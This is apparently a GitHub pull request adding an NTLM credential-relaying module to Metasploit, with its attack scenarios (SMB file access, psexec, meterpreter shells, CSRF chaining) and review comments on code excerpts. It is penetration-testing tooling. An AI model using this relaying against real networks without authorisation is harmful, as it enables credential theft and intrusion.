Skip to content

Adding http_ntlmrelay module #589

Merged
merged 7 commits into from Aug 21, 2012

3 participants

@webstersprodigy

This is a generic purpose NTLM relaying module. It acts as an HTTP server, and relays the credentials forwarded by the browser to other protocols (currently SMB and HTTP). It supports multiple HTTP/SMB operations, it supports NTLMv2, and it also supports attack chaining, so the result of one attack can be used in future attacks.

I have a few test configurations available here: http://sdrv.ms/MemcNN. Here are the contents from the README:

Test Setup

In every case, there are at least two external machines involved, domain_client and domain_victim. Both are assumed to be domain joined, and have users with permission.

The attack scenario is this:

After running the module with configured options, domain_client will visit the URI and negotiate windows creds. These credentials will relay to domain_victim, performing the configured action.

These scenarios have been tested on actual sites. However, the name details have sometimes been modified, both to avoid disclosure and to make the testing scenarios easier to understand.In terms of config, I've tested this on default win server 2008r2 and win server 2003 active directories with NTLM enabled IE8/9, Firefox, and chrome connecting to the HTTP server.

In each demo directory, there are resource.rc files that contain info regarding a scenario. In order of usability complexity, these are:

  1. fileopts (relays to an smb server to list contents, write a file, read a file, remove a file, psexec)
  2. corpcard (relays to an internal website and extracts information)
  3. email_parking (relays to a different internal website and extracts information)
  4. csrf_wiki (obtains a CSRF token and cookie, and uses these in a second request to perform an operation on mediawiki)
  5. super_pwn (obtains computernames from an internal website, scans these for 445, and then relays to these for a meterpreter shell)
webstersprodigy added some commits Jul 9, 2012
@webstersprodigy webstersprodigy Adding http_ntlmrelay module f50843e
@webstersprodigy webstersprodigy fixed a type bug with the default response c593a34
@webstersprodigy webstersprodigy Improved smb_put reliability
The .write function was having issues with large files, the
connection would close or sometimes there would be errors.
I changed thefunction to act more like smb_relay and it works better.
fd009fe
@jlee-r7 jlee-r7 commented on an outdated diff Jul 20, 2012
modules/auxiliary/server/http_ntlmrelay.rb
+ # Aliases for common classes
+ XCEPT = Rex::Proto::SMB::Exceptions
+ CONST = Rex::Proto::SMB::Constants
+ NDR = Rex::Encoder::NDR
+
+ def initialize(info = {})
+ super(update_info(info,
+ 'Name' => 'HTTP Client MS Credential Relayer',
+ 'Version' => '$Revision:$',
+ 'Description' => %q{
+ This module relays negotiated NTLM Credentials from an HTTP server to multiple
+ protocols (currently it supports relaying to SMB and HTTP).
+
+ Complicated custom attacks requiring multiple requests that depend on each
+ other can be written using the SYNC* options. For example, a typical CSRF
+ typical CSRF style attack might look like:
@jlee-r7
jlee-r7 added a note Jul 20, 2012

"typical CSRF" doubled.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
@jlee-r7 jlee-r7 and 2 others commented on an outdated diff Jul 20, 2012
modules/auxiliary/server/http_ntlmrelay.rb
+ ],
+ 'Version' => '$Revision:$',
+ 'License' => MSF_LICENSE,
+ 'Actions' =>
+ [
+ [ 'WebServer' ]
+ ],
+ 'PassiveActions' =>
+ [
+ 'WebServer'
+ ],
+ 'DefaultAction' => 'WebServer'))
+
+ register_options([
+ OptBool.new('RSSL', [true, "SSL on the remote connection ", false]),
+ OptString.new('RTYPE', [true,
@jlee-r7
jlee-r7 added a note Jul 20, 2012

You seem to be using this option in a manner equivalent to the meaning of Actions.

I might need some direction on this one. I need the module to always have the 'WebServer' action, and then exactly one of the 'RTYPE' actions/options. (e.g. it wouldn't be as straightforward as other modules I've looked at, like tftp_transfer_util or http_put)

@todb-r7
todb-r7 added a note Aug 20, 2012

Looks like OptEnum is the way to go on this. There's a decent OptEnum usage example in MSSQL Payload

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
@jlee-r7 jlee-r7 and 1 other commented on an outdated diff Jul 20, 2012
lib/rex/proto/smb/client.rb
@@ -962,7 +962,7 @@ def session_setup_with_ntlmssp_blob(blob = '', do_recv = true)
ret = self.smb_send(pkt.to_s)
return ret if not do_recv
- self.smb_recv_parse(CONST::SMB_COM_SESSION_SETUP_ANDX, false)
+ self.smb_recv_parse(CONST::SMB_COM_SESSION_SETUP_ANDX, true)
@jlee-r7
jlee-r7 added a note Jul 20, 2012

Changing this in the library code is pretty dangerous. Will require some serious testing of other users of this method.

Since this method doesn't do anything else before or after the do_recv check, better would be to pass do_recv=false and call smb_recv_parse yourself.

Great idea. I knew this was bad, but was debating on the right way to do it.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
@jlee-r7 jlee-r7 commented on an outdated diff Jul 20, 2012
modules/auxiliary/server/http_ntlmrelay.rb
+ end
+
+ # relay creds to server and perform any HTTP specific attacks
+ def http_relay_toserver(hash, ser_sock = nil)
+ timeout = 20
+ type3 = (ser_sock == nil ? false : true)
+
+ method = datastore['RTYPE'].split('_')[1]
+ theaders = {'Authorization' => "NTLM " << hash,
+ 'Connection' => 'Keep-Alive' }
+
+ if (method == 'POST')
+ theaders['Content-Length'] = (datastore['FINALPUTDATA'].length + 4).to_s()
+ end
+
+ # HTTP_HEADERFILE is how thie module supports cookies, multipart forms, etc
@jlee-r7
jlee-r7 added a note Jul 20, 2012

typo: "thie" -> "this"

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
@jlee-r7 jlee-r7 commented on an outdated diff Jul 20, 2012
modules/auxiliary/server/http_ntlmrelay.rb
+ # relay creds to server and perform any HTTP specific attacks
+ def http_relay_toserver(hash, ser_sock = nil)
+ timeout = 20
+ type3 = (ser_sock == nil ? false : true)
+
+ method = datastore['RTYPE'].split('_')[1]
+ theaders = {'Authorization' => "NTLM " << hash,
+ 'Connection' => 'Keep-Alive' }
+
+ if (method == 'POST')
+ theaders['Content-Length'] = (datastore['FINALPUTDATA'].length + 4).to_s()
+ end
+
+ # HTTP_HEADERFILE is how thie module supports cookies, multipart forms, etc
+ if datastore['HTTP_HEADERFILE'] != nil
+ print_status("Including extra headers from: #{datastore['SYNCFILE']}")
@jlee-r7
jlee-r7 added a note Jul 20, 2012

Should SYNCFILE be HTTP_HEADERFILE here?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
@jlee-r7 jlee-r7 commented on an outdated diff Jul 20, 2012
modules/auxiliary/server/http_ntlmrelay.rb
+ type3 = (ser_sock == nil ? false : true)
+
+ method = datastore['RTYPE'].split('_')[1]
+ theaders = {'Authorization' => "NTLM " << hash,
+ 'Connection' => 'Keep-Alive' }
+
+ if (method == 'POST')
+ theaders['Content-Length'] = (datastore['FINALPUTDATA'].length + 4).to_s()
+ end
+
+ # HTTP_HEADERFILE is how thie module supports cookies, multipart forms, etc
+ if datastore['HTTP_HEADERFILE'] != nil
+ print_status("Including extra headers from: #{datastore['SYNCFILE']}")
+ #previous request might create the file, so error thrown at runtime
+ if not ::File.readable?(datastore['HTTP_HEADERFILE'])
+ print_error("SYNCFILE unreadable, aborting")
@jlee-r7
jlee-r7 added a note Jul 20, 2012

SYNCFILE -> HTTP_HEADERFILE

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
@jlee-r7 jlee-r7 commented on an outdated diff Jul 20, 2012
modules/auxiliary/server/http_ntlmrelay.rb
+ ser_sock = connect(opts) if !type3
+
+ r = ser_sock.request_raw(opts)
+ resp = ser_sock.send_recv(r, opts[:timeout] ? opts[:timeout] : timeout, true)
+
+ # Type3 processing
+ if type3
+ #check if auth was successful
+ if resp.code == 401
+ print_error("Auth not successful, returned a 401")
+ else
+ print_status("Auth successful, saving server response in database")
+ end
+ #if verbose, print the response
+ if datastore['VERBOSE']
+ print_status(resp)
@jlee-r7
jlee-r7 added a note Jul 20, 2012

use vprint_status instead of this

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
@jlee-r7 jlee-r7 commented on an outdated diff Jul 20, 2012
modules/auxiliary/server/http_ntlmrelay.rb
+ (resp.to_s().split('NTLMSSP')[1].split("\x00\x00Win")[0]) <<
+ "\x00\x00"
+ rescue ::Exception => e
+ print_error("Type 2 response not read properly from server")
+ raise e
+ end
+ ntlmsspencodedblob = Rex::Text.encode_base64(ntlmsspblob)
+ return [ntlmsspencodedblob, ser_sock]
+ end
+
+ #relay ntlm type3 SMB message
+ def smb_relay_toservert3(hash, ser_sock)
+ arg = get_hash_info(hash)
+ dhash = Rex::Text.decode_base64(hash)
+
+ blob =
@jlee-r7
jlee-r7 added a note Jul 20, 2012

A comment documenting this constants would be nice.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
@jlee-r7 jlee-r7 commented on an outdated diff Jul 20, 2012
modules/auxiliary/server/http_ntlmrelay.rb
+ failure.command = resp['Payload']['SMB'].v['Command']
+ failure.error_code = resp['Payload']['SMB'].v['ErrorClass']
+ raise failure
+ end
+ return ser_sock
+ end
+
+ #gets a specified file from the drive
+ def smb_get(ser_sock)
+ share, path = datastore['RURIPATH'].split('\\', 2)
+ path = path
+ ser_sock.client.tree_connect(share)
+ ser_sock.client.open("\\" << path, 0x1)
+ resp = ser_sock.client.read()
+ print_status("Reading #{resp['Payload'].v['ByteCount']} bytes from #{datastore['RHOST']}")
+ if datastore["VERBOSE"]
@jlee-r7
jlee-r7 added a note Jul 20, 2012

vprint_status

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
@jlee-r7 jlee-r7 commented on an outdated diff Jul 20, 2012
modules/auxiliary/server/http_ntlmrelay.rb
+ end
+
+ #function allowing some basic/common configuration in responses
+ def set_cli_200resp()
+ response = create_response(200, "OK")
+ response.headers['Proxy-Support'] = 'Session-Based-Authentication'
+
+ if (datastore['RESPPAGE'] != nil)
+ begin
+ respfile = File.open(datastore['RESPPAGE'], "rb")
+ response.body = respfile.read
+ respfile.close
+
+ type = datastore['RESPPAGE'].split('.')[-1].downcase
+ #images can be especially useful (e.g. in email signatures)
+ if type == 'png' or type == 'gif' or type == 'jpg' or type == 'jpeg'
@jlee-r7
jlee-r7 added a note Jul 20, 2012

I think this construct is a little less awkard like so:

case type
when 'png', 'gif', 'jpg', 'jpeg'
    ...
end
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
@jlee-r7 jlee-r7 commented on an outdated diff Jul 20, 2012
modules/auxiliary/server/http_ntlmrelay.rb
+ begin
+ File.readlines(datastore['HTTP_HEADERFILE']).each do|header|
+ h = header.split(":")
+ theaders[h[0].strip] = h[1].strip
+ end
+ rescue ::Exception => e
+ print_error("HTTP_HEADERFILE not parsed correctly")
+ raise e
+ end
+ end
+
+ opts = {
+ 'uri' => datastore['RURIPATH'],
+ 'method' => method,
+ 'version' => '1.1',
+ 'headers' => theaders,
@jlee-r7
jlee-r7 added a note Jul 20, 2012

There is also a 'raw_headers' option which would save you the effort of parsing above

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
@jlee-r7 jlee-r7 was assigned Aug 20, 2012
@todb-r7
todb-r7 commented Aug 20, 2012

Added a suggestion to use OptEnum instead of OptString -- other than that, looks okay to me; @jlee-r7 can you test and merge?

@webstersprodigy

@todb-r7 Thanks for the suggestion, OptEnum is a better fit. Updated in the latest commit.

@todb-r7
todb-r7 commented Aug 21, 2012

The change to the SMB library looks like it impacts only one other module, and that one depends on the defaults anyway.

Thanks for the quick update, @webstersprodigy , testing now.

@todb-r7 todb-r7 merged commit 65b29d1 into rapid7:master Aug 21, 2012
@todb-r7
todb-r7 commented Aug 21, 2012

FWIW, @webstersprodigy here's my commit of your module.

http://git.io/gwc0kg

Just eyeballing, there are many places to make the code more robust to exception raises, if you're inclined, but I didn't see any show stoppers in there.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Something went wrong with that request. Please try again.